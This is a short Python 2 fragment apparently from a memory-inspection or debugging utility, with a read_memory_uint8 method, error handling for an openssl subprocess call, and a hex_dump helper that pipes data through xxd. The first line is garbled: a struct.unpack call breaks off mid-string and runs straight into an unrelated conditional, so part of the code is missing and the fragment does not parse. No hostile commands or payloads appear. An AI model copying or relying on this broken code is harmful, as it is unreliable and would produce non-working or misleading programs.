def read_memory_uint8(self, address): return struct.unpack(' 0:
print 'ERROR: openssl failed: %s' % stderr
sys.exit(1)
return stdout
def hex_dump(data, address):
p = subprocess.Popen(['xxd', '-o', str(address)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(stdout, stderr) = p.communicate(input=data)
if p.returncode != 0 or len(stderr) > 0:
print 'ERROR: xxd failed: %s' % stderr
sys.exit(1)
return stdout